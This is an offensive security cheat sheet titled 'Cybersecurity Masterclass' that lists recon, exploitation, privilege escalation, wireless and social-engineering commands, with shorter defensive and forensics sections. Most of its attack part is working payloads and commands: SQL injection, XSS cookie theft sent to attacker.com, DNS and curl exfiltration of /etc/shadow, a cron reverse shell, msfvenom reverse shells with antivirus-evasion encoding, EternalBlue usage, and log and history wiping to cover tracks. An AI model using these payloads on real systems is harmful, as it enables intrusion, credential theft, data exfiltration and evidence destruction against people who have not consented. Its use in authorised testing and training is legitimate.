Cybersecurity Masterclass

# Quick scan
nmap 192.168.1.1

# Full TCP sweep
nmap -p- -T4 192.168.1.1

# Service versions + OS fingerprint
nmap -sV -O -A 192.168.1.1

# SYN stealth scan
sudo nmap -sS -T3 10.0.0.0/24

# UDP (SNMP, DNS, TFTP)
sudo nmap -sU --top-ports 50 192.168.1.1

# Vulnerability scripts
nmap --script vuln 192.168.1.1

# Output all formats
nmap -oA scan_results 192.168.1.1

# Scan entire /24 in seconds
masscan 10.0.0.0/24 -p0-65535 --rate=10000

# Specific ports
masscan 192.168.1.0/24 -p22,80,443,8080 --rate=5000

# Domain info
whois example.com

# DNS records
dig example.com ANY
dig example.com AXFR @ns1.example.com

# Traceroute
traceroute example.com
# Windows
tracert example.com

# Banner grabbing
nc -v 192.168.1.1 80
# or
nmap -sV --script=banner 192.168.1.1

# CLI usage
python3 intelx.py -s "example.com" -k YOUR_API_KEY

# Search emails associated with domain
intelx -s "@example.com" --output results.txt

# Search for vulnerable devices
shodan search "apache 2.4.49" --fields ip_str,port

# Check specific IP
shodan host 8.8.8.8

# Command line
shodan search "port:22 country:IN" --fields ip_str

# Shodan Dorks:
# http.title:"login"
# http.html:"admin panel"
# ssl.cert.subject.CN:"example.com"
# org:"Google" port:8080

curl -u "YOUR_ID:YOUR_SECRET" \
  "https://search.censys.io/api/v2/hosts/search?q=example.com"

# Find all hosts with specific cert
curl -u "ID:SECRET" \
  "https://search.censys.io/api/v2/search" \
  -d '{"q":"parsed.subject.common_name:example.com"}'

theHarvester -d example.com -b google,bing,linkedin

# Full recon
theHarvester -d example.com -b all -l 500 -f results.html

site:example.com filetype:pdf
inurl:admin login
intitle:"index of" password
intext:"sql syntax" error
filetype:env "DB_PASSWORD"
site:github.com "api_key" "secret"

# subfinder � fast passive enumeration
subfinder -d example.com -o subs.txt

# amass � comprehensive (passive + active)
amass enum -passive -d example.com
amass enum -active -d example.com -brute -w wordlist.txt

# assetfinder
assetfinder --subs-only example.com

# crt.sh � certificate transparency
curl -s "https://crt.sh/?q=%.example.com&output=json" \
  | jq -r '.[].name_value' | sort -u

# dnsrecon
dnsrecon -d example.com -t brt -w /usr/share/wordlists/subdomains.txt

# Combine all sources
cat subs.txt | sort -u | httpx -silent

# ARP scan � find live hosts
sudo arp-scan -l
sudo arp-scan 192.168.1.0/24

# Nmap host discovery (no port scan)
nmap -sn 192.168.1.0/24

# Ping sweep
nmap -sP 10.0.0.0/24

# hping3 � custom packets
sudo hping3 -S 192.168.1.1 -p 80
sudo hping3 --flood -S 192.168.1.1

# Traceroute with UDP
sudo traceroute -U example.com

# Pathping (Windows � combines ping + traceroute)
pathping example.com

# NULL scan � no flags set (bypass some firewalls)
nmap -sN 192.168.1.1

# FIN scan
nmap -sF 192.168.1.1

# XMAS scan � PSH, FIN, URG flags
nmap -sX 192.168.1.1

# Idle scan � spoofed source
nmap -sI zombie_host:80 target_ip

# IP fragmentation
nmap -f target_ip

# Decoy scan
nmap -D RND:10 target_ip

# Source port spoofing
nmap --source-port 53 target_ip

# TCP ACK scan � map firewall rules
nmap -sA target_ip

# Window scan
nmap -sW target_ip

# Banner grabbing
nc -v target_ip 22
curl -I http://target_ip
nmap -sV -sC target_ip

# SMB enumeration
enum4linux -a target_ip
smbclient -L //target_ip -N
smbmap -H target_ip -R

# SNMP enumeration
snmpwalk -v2c -c public target_ip
snmp-check target_ip

# FTP enumeration
ftp target_ip
nmap --script=ftp-anon,ftp-syst -p 21 target_ip

# LDAP enumeration
ldapsearch -h target_ip -x -b "dc=example,dc=com"

# NFS enumeration
showmount -e target_ip

# MySQL enumeration
mysql -h target_ip -u root -p
nmap --script=mysql-info -p 3306 target_ip

# Nikto � web server scanner
nikto -h http://target.com

# WhatWeb � technology fingerprint
whatweb http://target.com

# Gobuster � directory brute force
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

# ffuf � fast web fuzzer
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://target.com/api/FUZZ -w users.txt -mc 200

# Burp Suite proxy
# 1. Set browser proxy to 127.0.0.1:8080
# 2. Install Burp CA cert
# 3. Intercept requests, repeat with Intruder

# OWASP ZAP
zap-cli quick-scan -s all -r http://target.com

# Subdomain takeover
subjack -w subs.txt -t 100 -timeout 30 -o results.txt

# Wayback URLs
waybackurls example.com | sort -u

# Test for injection
' OR '1'='1
' OR '1'='1' --
" OR "1"="1
' UNION SELECT NULL--

# Union-based � find column count
' ORDER BY 1--
' ORDER BY 5-- (error means < 5 columns)

# Extract data
' UNION SELECT username,password FROM users--

# Blind SQLi � extract one char at a time
' AND SUBSTRING((SELECT database()),1,1)='a'--

# Basic test
sqlmap -u "http://target.com/page?id=1" --dbs

# POST request
sqlmap -u "http://target.com/login" --data="user=admin&pass=x" --dbs

# Dump specific table
sqlmap -u "http://target.com/?id=1" -D mydb -T users --dump

# Bypass WAF
sqlmap -u "http://target.com/?id=1" --tamper=space2comment,between

# Shell
sqlmap -u "http://target.com/?id=1" --os-shell

# Basic
<script>alert(1)</script>

# Image tag
<img src=x onerror=alert(1)>

# SVG
<svg onload=alert(1)>

# DOM-based
javascript:alert(1)
<a href="javascript:alert(1)">click</a>

# Filter bypass
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</script>
<svg/onload=alert(1)>

# Cookie stealing
<script>new Image().src="http://attacker.com/?c="+document.cookie</script>

# Hook a page
<script src="http://YOUR_IP:3000/hook.js"></script>

# BeEF console
beef-xss

# Auto-submit form (change email)
<form action="http://target.com/change-email" method="POST" id="csrf">
  <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit()</script>

# IMG tag CSRF
<img src="http://target.com/api/transfer?to=attacker&amount=1000" style="display:none">

# SameSite bypass � subdomain
attacker.subdomain.target.com/csrf.html

# Basic
; cat /etc/passwd
| cat /etc/passwd
`cat /etc/passwd`
$(cat /etc/passwd)

# Blind � use time delay
; sleep 5

# Data exfil via DNS
; nslookup $(whoami).attacker.com

# Newline injection
%0a cat /etc/passwd

# Pipe variations
|| whoami
&& whoami

# Commix � automated tool
commix -u "http://target.com/?page=home"
commix -u "http://target.com/?page=home" --os-shell

# LFI � read files
../../../../etc/passwd
../../../../etc/passwd%00

# PHP wrappers
php://filter/convert.base64-encode/resource=index.php
data://text/plain,<?php system('id');?>

# Log poisoning
../../../../var/log/apache2/access.log

# RFI � include remote file
http://attacker.com/shell.txt

# Path traversal
....//....//....//etc/passwd

# Windows
..\..\..\..\windows\system32\config\sam

# Basic SSRF � access internal services
http://127.0.0.1:8080
http://localhost:22
http://169.254.169.254/latest/meta-data/  # AWS metadata

# Gopher protocol
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a

# File protocol
file:///etc/passwd
file:///proc/self/environ

# IP alternatives
http://0177.0.0.1 (127.0.0.1 in octal)
http://0x7f.0x00.0x00.0x01 (hex)
http://2130706433 (decimal)

# Basic XXE � read /etc/passwd
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

# Blind XXE via OOB
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
  %xxe;
]>

# SSRF via XXE
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

# XInclude attack
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

# Default credentials
admin:admin, admin:password, root:root
test:test, guest:guest, administrator:administrator

# Hydra � brute force SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target

# Hydra � brute force web form
hydra -l admin -P passwords.txt target http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

# Medusa � parallel brute force
medusa -h target -u admin -P passwords.txt -M ssh

# Password spraying (one password, many users)
crackmapexec smb target -u users.txt -p 'Company123!'

# Token manipulation � change JWT header alg to "none"
# Change role from "user" to "admin" in JWT payload

# Cookie analysis � look for
SessionID, JWT, ASP.NET_SessionId, JSESSIONID

# Session fixation � force known session ID
Set-Cookie: session=attacker_controlled_value

# JWT attacks
# 1. alg=none bypass
# 2. weak secret (crack with hashcat)
hashcat -m 16500 jwt.txt wordlist.txt

# 3. key confusion (RS256 ? HS256)

# Session hijacking via XSS
<script>fetch('http://attacker.com/'+document.cookie)</script>

# Start
msfconsole

# Search exploits
search eternalblue
search type:exploit platform:windows

# Use exploit
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS target_ip
set LHOST your_ip
exploit

# Reverse shell handler
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
exploit

# Meterpreter commands
sysinfo
getuid
hashdump
screenshot
shell
upload/download
portfwd add -l 8080 -p 80 -r target

# Generate unique pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000

# Find offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb VALUE

# Shellcode � exec /bin/sh
msfvenom -p linux/x64/exec CMD="/bin/sh" -f python

# NOP sled
b'\x90' * 100

# Bad characters check
msfvenom -p linux/x64/exec CMD="/bin/sh" -f python -b '\x00\x0a\x0d'

# SUID binaries
find / -perm -u=s -type f 2>/dev/null

# Sudo permissions
sudo -l

# Kernel version
uname -a
cat /proc/version

# GTFOBins escapes
sudo find / -exec /bin/sh \; -quit
sudo vim -c ':!/bin/sh'
sudo python3 -c 'import os; os.execl("/bin/sh","sh","-p")'

# Capabilities
getcap -r / 2>/dev/null

# Writable /etc/passwd
echo 'root2:$(openssl passwd -1 password):0:0:root:/root:/bin/bash' >> /etc/passwd

# LinPEAS
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# System info
systeminfo
whoami /all

# Unquoted service path
wmic service get name,pathname
# C:\Program Files\Vulnerable App\service.exe ? Exploit: C:\Program.exe

# AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
# If both = 1:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi

# Token impersonation
whoami /priv
# If SeImpersonatePrivilege enabled ? use Potato
# PrintSpoofer.exe, GodPotato, JuicyPotatoNG

# WinPEAS
winpeas.exe

# PsExec (Impacket)
psexec.py admin:password@target

# Evil-WinRM
evil-winrm -i target -u admin -p password -s /scripts

# Pass-the-Hash
psexec.py -hashes :NTHASH admin@target

# WMI execution
wmic /node:"target" /user:"admin" /password:"pass" process call create "cmd.exe /c whoami > C:\out.txt"

# CrackMapExec
crackmapexec smb target -u admin -p pass
crackmapexec winrm target -u admin -p pass -X "whoami"

# Persistence � cron
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'" | crontab -

# Persistence � SSH key
mkdir ~/.ssh && echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys

# Data exfiltration
tar czf /tmp/data.tar.gz /etc/shadow
base64 /tmp/data.tar.gz | curl -X POST -d @- http://attacker.com/exfil

# Cover tracks
export HISTSIZE=0
history -c
shred -u ~/.bash_history

# Log cleanup
find /var/log -name "*.log" -exec truncate -s 0 {} \;

# Enable monitor mode
airmon-ng start wlan0

# Scan networks
airodump-ng wlan0mon

# Capture handshake
airodump-ng -c CHANNEL --bssid MAC -w capture wlan0mon

# Deauth to force handshake
aireplay-ng --deauth 10 -a TARGET_MAC wlan0mon

# Crack WPA2 handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# Evil twin
airbase-ng -e "FreeWiFi" -c 6 wlan0mon

# WPS attack
reaver -i wlan0mon -b TARGET_MAC

# Social Engineering Toolkit
setoolkit
# 1) Social-Engineering Attacks
# 2) Website Attack Vectors
# 3) Credential Harvester Attack
# 4) Site Cloner

# GoPhish � phishing framework
# gophish � email campaigns with tracking

# Pretexting scenarios
# - IT support calling for password reset
# - Delivery person needing building access
# - Fake survey with reward incentive

# File info
file malware.exe
strings malware.exe | head -50
strings -n 8 malware.exe

# Hashes
md5sum malware.exe
sha256sum malware.exe

# Entropy check (high = packed/encrypted)
binwalk -E malware.exe

# YARA rules
yara -r rules/ malware.exe

# VirusTotal � upload hash or file

# strace � watch syscalls
strace ./malware

# Ghidra (NSA's free RE tool)
# Import binary ? analyze ? view decompiled code

# radare2
r2 -A binary
afl          # list functions
pdf @main    # disassemble main

# objdump
objdump -d binary | less
objdump -x binary  # headers

# ltrace � library calls
ltrace ./binary

# gdb
gdb ./binary
break main
run
disassemble main
info registers

# Linux reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf

# Windows reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe

# Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o meter.exe

# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php

# Staged vs stageless
# staged = small initial payload, downloads full payload
# stageless = full payload in one file (bigger but simpler)

# C2 Frameworks (concepts only)
# - Cobalt Strike (commercial)
# - Sliver (open source)
# - Havoc (open source)
# - Covenant (.NET)

# Encoding
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

# Veil-Framework � payload obfuscation
veil
use Evasion
generate

# Donut � shellcode generator from .NET assemblies
donut -f payload.dll -o shellcode.bin

# Process injection concepts
# - DLL injection
# - Process hollowing
# - APC injection

# Generate RSA key
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

# Encrypt/Decrypt
openssl enc -aes-256-cbc -in plain.txt -out encrypted.bin -k password
openssl enc -aes-256-cbc -d -in encrypted.bin -out plain.txt -k password

# Hashing
echo -n "password" | sha256sum
echo -n "password" | md5sum

# John the Ripper
echo 'hash' > hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# Hashcat modes
# 0 = MD5, 100 = SHA1, 1400 = SHA256, 3200 = bcrypt
hashcat -m 0 hash.txt wordlist.txt
hashcat -m 1400 hash.txt wordlist.txt

# Padding oracle attack
padbuster http://target/api/decrypt ENCRYPTED_TOKEN 16

# Hash length extension
hash_extender -d "original_data" -s SIGNATURE -a "append_data" -f sha256 -l 32

# Weak RSA � factordb.com

# XOR decryption
python3 -c "
ct = bytes.fromhex('ciphertext')
pt = b'known'
key = bytes([c^p for c,p in zip(ct, pt * (len(ct)//len(pt)+1))])
print(key)
"

# Hashcat modes
# 0 = MD5, 1000 = NTLM, 1800 = sha512crypt, 3200 = bcrypt

# Dictionary attack
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# Rules-based
hashcat -m 0 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# Mask attack
hashcat -m 0 hashes.txt -a 3 ?l?l?l?l?l?l?d?d

# John the Ripper
john --wordlist=rockyou.txt hashes.txt
john --rules --wordlist=rockyou.txt hashes.txt

# NTHash extraction from SAM
secretsdump.py -sam SAM -system SYSTEM LOCAL

# Snort � IDS mode
snort -c /etc/snort/snort.conf -i eth0 -A alert_fast

# Custom rule
alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection Attempt"; \
  content:"union select"; nocase; sid:1000001; rev:1;)

# Suricata
suricata -c /etc/suricata/suricata.yaml -i eth0

# Zeek
zeek -i eth0

# iptables firewall
iptables -A INPUT -s attacker_ip -j DROP
iptables -A INPUT -p tcp --dport 22 -s trusted_ip -j ACCEPT

# Wazuh � open source SIEM
apt install wazuh-agent

# Splunk queries
index=main sourcetype=access_combined status=404
| stats count by src_ip | sort -count

# Log locations
/var/log/auth.log
/var/log/syslog
/var/log/apache2/

# Memory dump � LiME (Linux)
insmod lime.ko "path=/tmp/mem.lime format=lime"

# Volatility � memory analysis
volatility -f mem.lime imageinfo
volatility -f mem.lime --profile=LinuxProfile pslist
volatility -f mem.lime --profile=LinuxProfile netscan

# Disk imaging
dd if=/dev/sda of=disk.img bs=4M

# Evidence integrity
sha256sum evidence.E01 > evidence.sha256

# File carving
photorec disk.img
scalpel disk.img -o output/

# Metadata
exiftool image.jpg

# MITRE ATT&CK � attack.mitre.org

# MISP � Threat Intelligence Platform

# AlienVault OTX � otx.alienvault.com
# AbuseIPDB � abuseipdb.com

# SSH hardening
PermitRootLogin no
PasswordAuthentication no
MaxAuthTries 3

# Fail2ban
apt install fail2ban && systemctl enable fail2ban

# Unattended upgrades
apt install unattended-upgrades

# File integrity monitoring
aide --init && aide --check

# AWS CLI recon
aws sts get-caller-identity
aws s3 ls
aws iam list-users

# ScoutSuite
scout aws --profile default

# Prowler
prowler aws

# GCP
gcloud auth list

# Azure
az account show

# Methodology
# 1. Recon ? subdomains, tech stack, endpoints
# 2. Map ? Burp Suite, spider all functionality
# 3. Test ? OWASP Top 10, business logic
# 4. Report ? clear, reproducible, with impact

# HackerOne � hackerone.com/directory
# Bugcrowd � bugcrowd.com/programs

# ADB
adb devices
adb shell
adb install payload.apk

# APKTool � decompile
apktool d app.apk

# Frida � dynamic instrumentation
frida -U -f com.target.app -l hook.js

# Objection
objection -g com.target.app explore
android hooking list activities

# MobSF
# mobsf.live � static + dynamic analysis

# Firmware extraction
binwalk -e firmware.bin
unsquashfs squashfs-root.bin

# JTAG � debug interface
# Connect via JTAGulator or Bus Pirate

# UART � serial console
# Baud rate: 9600, 115200

# Shodan IoT dorks
# "port:554" � RTSP cameras
# "port:23" � Telnet (often default creds)

# Entry Level
CompTIA Security+ � foundational
CEH � theory + tools

# Intermediate
eJPT, CompTIA Pentest+

# Advanced
OSCP � 24hr hands-on exam
OSCE, CRTP

# Blue Team
CompTIA CySA+, CISSP

# VirtualBox/VMware + Kali Linux + vulnerable VMs
VulnHub.com, HackTheBox.com, TryHackMe.com

# Kali (attacker) + Metasploitable (target) + Windows VM

# Penetration Tester, Red Team Operator
# Security Consultant, Bug Bounty Hunter
# SOC Analyst, Incident Responder
# Malware Analyst, Cloud Security Engineer